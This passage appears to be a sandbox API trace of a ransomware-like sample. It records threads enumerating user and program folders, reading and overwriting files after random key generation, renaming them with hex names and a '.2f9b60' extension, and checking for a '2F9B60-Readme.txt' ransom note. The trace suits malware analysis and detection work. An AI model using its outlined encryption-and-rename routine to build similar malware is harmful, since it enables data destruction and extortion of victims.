2 [0203.467] sprintf (in: _Dest=0x1b869518, _Format="%c%c" | out: _Dest="f0") returned 2 [0203.467] sprintf (in: _Dest=0x1b86951a, _Format="%c%c" | out: _Dest="aa") returned 2 [0203.467] sprintf (in: _Dest=0x1b86951c, _Format="%c%c" | out: _Dest="f5") returned 2 [0203.467] sprintf (in: _Dest=0x1b86951e, _Format="%c%c" | out: _Dest="ae") returned 2 [0203.467] sprintf (in: _Dest=0x1b869520, _Format="%c%c" | out: _Dest="d1") returned 2 [0203.467] sprintf (in: _Dest=0x1b869522, _Format="%c%c" | out: _Dest="cf") returned 2 [0203.467] sprintf (in: _Dest=0x1b869524, _Format="%c%c" | out: _Dest="dd") returned 2 [0203.467] sprintf (in: _Dest=0x1b869526, _Format="%c%c" | out: _Dest="0f") returned 2 [0203.467] sprintf (in: _Dest=0x1b869528, _Format="%c%c" | out: _Dest="c2") returned 2 [0203.467] sprintf (in: _Dest=0x1b86952a, _Format="%c%c" | out: _Dest="cd") returned 2 [0203.467] RtlInitAnsiString (in: DestinationString=0x301dfac8, SourceString="40e7806188ff2aac864b9f5602fdac24a8bd687f0493df708debad063a5d3ab967b855453b644d5679fe4e50f0aaf5aed1cfdd0fc2cd" | out: DestinationString="40e7806188ff2aac864b9f5602fdac24a8bd687f0493df708debad063a5d3ab967b855453b644d5679fe4e50f0aaf5aed1cfdd0fc2cd") [0203.467] RtlAnsiStringToUnicodeString (in: DestinationString=0x301dfa98, SourceString="40e7806188ff2aac864b9f5602fdac24a8bd687f0493df708debad063a5d3ab967b855453b644d5679fe4e50f0aaf5aed1cfdd0fc2cd", AllocateDestinationString=1 | out: DestinationString="40e7806188ff2aac864b9f5602fdac24a8bd687f0493df708debad063a5d3ab967b855453b644d5679fe4e50f0aaf5aed1cfdd0fc2cd") returned 0x0 [0203.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb4f40 [0203.468] wcscat (in: _Dest=0x202ae650, _Source="40e7806188ff2aac864b9f5602f" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\40e7806188ff2aac864b9f5602f") returned="C:\\Program Files (x86)\\Java\\jre7\\40e7806188ff2aac864b9f5602f" [0203.468] wcscat (in: _Dest=0x202ae650, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\40e7806188ff2aac864b9f5602f.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\40e7806188ff2aac864b9f5602f.2f9b60" [0203.468] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\40e7806188ff2aac864b9f5602f.2f9b60", NtPathName=0x301dfa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\40e7806188ff2aac864b9f5602f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x43130b40 [0207.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43130b40) returned 1 [0207.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432216b0) returned 1 [0207.117] NtQueryInformationFile (in: FileHandle=0x1750, IoStatusBlock=0x301dfad8, FileInformation=0x301dfae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x301dfad8, FileInformation=0x301dfae8) returned 0x0 [0207.117] NtSetInformationFile (FileHandle=0x1750, IoStatusBlock=0x301dfad8, FileInformation=0x301dfae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae650) returned 1 [0209.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb4f40) returned 1 [0209.427] FlushFileBuffers (hFile=0x1750) returned 1 [0209.435] CloseHandle (hObject=0x1750) returned 1 [0216.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x4319fc20 [0216.319] wcscpy (in: _Dest=0x4319fc20, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0216.319] wcscat (in: _Dest=0x4319fc20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" [0216.320] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\2f9b60-readme.txt")) returned 0x20 [0216.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319fc20) returned 1 [0216.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5220) returned 1 Thread: id = 964 os_tid = 0x15b8 [0101.317] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html")) returned 0x20 [0102.482] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html", dwFileAttributes=0x20) returned 1 [0103.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0103.019] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x3032fb60 | out: lpFileSize=0x3032fb60*=983) returned 1 [0103.019] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x3d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.019] ReadFile (in: hFile=0x160c, lpBuffer=0x3032fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3032fb28, lpOverlapped=0x0 | out: lpBuffer=0x3032fae0*, lpNumberOfBytesRead=0x3032fb28*=0x4, lpOverlapped=0x0) returned 1 [0103.042] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617c0 [0103.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263560 [0103.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263530 [0103.042] NtQuerySystemTime (in: CurrentTime=0x3032fa20 | out: CurrentTime=0x3032fa20*=132462177085522000) returned 0x0 [0103.042] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x354f063f [0103.042] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x4927a207 [0103.042] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x33c53e2d [0103.042] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x46214b8b [0103.042] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x5de2b18d [0103.042] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x1bbe2164 [0103.042] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x25dcf43c [0103.042] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x4ead735b [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x20bb01db [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x50a42f36 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x1ace84d3 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x38269587 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x71266983 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x14bcddbe [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x70caa629 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x23243cc6 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x60c19311 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x411c90cb [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x7b8519ce [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x31315af5 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0xb62bd61 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x6827458c [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x6cae5d7a [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x660f83cc [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x41403f8b [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x697b87f4 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x35174647 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0xb62bd61 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x108b6556 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x1f763479 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0x3e4d3440 [0103.043] RtlRandomEx (in: Seed=0x3032fa10 | out: Seed=0x3032fa10) returned 0xab86865 [0103.051] ReadFile (in: hFile=0x160c, lpBuffer=0x204ac360, nNumberOfBytesToRead=0x3d7, lpNumberOfBytesRead=0x3032fa10, lpOverlapped=0x0 | out: lpBuffer=0x204ac360*, lpNumberOfBytesRead=0x3032fa10*=0x3d7, lpOverlapped=0x0) returned 1 [0103.051] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.051] WriteFile (in: hFile=0x160c, lpBuffer=0x204aff70*, nNumberOfBytesToWrite=0x3d7, lpNumberOfBytesWritten=0x3032fa14, lpOverlapped=0x0 | out: lpBuffer=0x204aff70*, lpNumberOfBytesWritten=0x3032fa14*=0x3d7, lpOverlapped=0x0) returned 1 [0103.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0103.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262690 [0103.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262690) returned 1 [0103.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204aff70) returned 1 [0103.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ac360) returned 1 [0103.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0103.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0103.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262690 [0103.400] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.400] WriteFile (in: hFile=0x160c, lpBuffer=0x4205a9b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3032fb30, lpOverlapped=0x0 | out: lpBuffer=0x4205a9b0*, lpNumberOfBytesWritten=0x3032fb30*=0x10a, lpOverlapped=0x0) returned 1 [0103.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0103.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263290 [0103.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263290) returned 1 [0103.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0103.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263290 [0103.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260410 [0103.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260410) returned 1 [0103.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0103.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0103.808] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="a5") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="91") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="1c") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="aa") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="05") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="b7") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="a5") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="b7") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="27") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="90") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="13") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="c0") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="45") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="60") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="1d") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="b5") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="d3") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="38") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="30") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="9e") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="02") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="63") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="42") returned 2 [0103.808] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="e4") returned 2 [0103.809] RtlInitAnsiString (in: DestinationString=0x3032fba8, SourceString="a5911caa05b7a5b7279013c045601db5d338309e026342e4" | out: DestinationString="a5911caa05b7a5b7279013c045601db5d338309e026342e4") [0103.809] RtlAnsiStringToUnicodeString (in: DestinationString=0x3032fb78, SourceString="a5911caa05b7a5b7279013c045601db5d338309e026342e4", AllocateDestinationString=1 | out: DestinationString="a5911caa05b7a5b7279013c045601db5d338309e026342e4") returned 0x0 [0103.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5c50 [0103.809] wcscat (in: _Dest=0x20503690, _Source="a5911caa05b7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\a5911caa05b7") returned="C:\\Program Files (x86)\\Java\\jre7\\a5911caa05b7" [0103.809] wcscat (in: _Dest=0x20503690, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\a5911caa05b7.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\a5911caa05b7.2f9b60" [0103.809] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\a5911caa05b7.2f9b60", NtPathName=0x3032fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\a5911caa05b7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a140 [0104.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a140) returned 1 [0104.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061d20) returned 1 [0104.353] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x3032fbb8, FileInformation=0x3032fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3032fbb8, FileInformation=0x3032fbc8) returned 0x0 [0104.353] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x3032fbb8, FileInformation=0x3032fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0104.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5c50) returned 1 [0104.499] FlushFileBuffers (hFile=0x160c) returned 1 [0104.803] CloseHandle (hObject=0x160c) returned 1 [0104.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced5be0 [0104.987] wcscpy (in: _Dest=0x1ced5be0, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0104.987] wcscat (in: _Dest=0x1ced5be0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" [0104.987] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\2f9b60-readme.txt")) returned 0x20 [0104.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5be0) returned 1 [0104.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1db0) returned 1 Thread: id = 965 os_tid = 0x15bc [0101.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f70 [0101.325] wcscpy (in: _Dest=0x1b7c1f70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0101.325] wcscat (in: _Dest=0x1b7c1f70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" [0101.326] wcscat (in: _Dest=0x1b7c1f70, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*" [0101.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63b30 [0101.326] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858d30 [0101.326] wcscmp (_String1=".", _String2=".") returned 0 [0101.326] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.327] wcscmp (_String1="..", _String2=".") returned 1 [0101.327] wcscmp (_String1="..", _String2="..") returned 0 [0101.327] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0101.327] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0101.327] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0101.327] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0101.327] wcscmp (_String1="Suggested Sites.url", _String2=".") returned 1 [0101.327] wcscmp (_String1="Suggested Sites.url", _String2="..") returned 1 [0101.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202afcd0 [0101.327] wcscpy (in: _Dest=0x202afcd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0101.327] wcscat (in: _Dest=0x202afcd0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" [0101.327] wcscat (in: _Dest=0x202afcd0, _Source="Suggested Sites.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" [0129.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202afcd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1648 [0129.906] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0129.906] wcscmp (_String1="Web Slice Gallery.url", _String2=".") returned 1 [0129.906] wcscmp (_String1="Web Slice Gallery.url", _String2="..") returned 1 [0129.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050b190 [0129.906] wcscpy (in: _Dest=0x2050b190, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0129.906] wcscat (in: _Dest=0x2050b190, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" [0129.906] wcscat (in: _Dest=0x2050b190, _Source="Web Slice Gallery.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" [0129.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14bc [0129.908] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0129.908] FindClose (in: hFindFile=0x1b858d30 | out: hFindFile=0x1b858d30) returned 1 [0129.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63b30) returned 1 [0129.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 [0129.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1c60) returned 1 Thread: id = 966 os_tid = 0x15c0 [0101.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202afd60 [0101.329] wcscpy (in: _Dest=0x202afd60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0101.329] wcscat (in: _Dest=0x202afd60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0101.329] wcscat (in: _Dest=0x202afd60, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*" [0101.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0101.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, 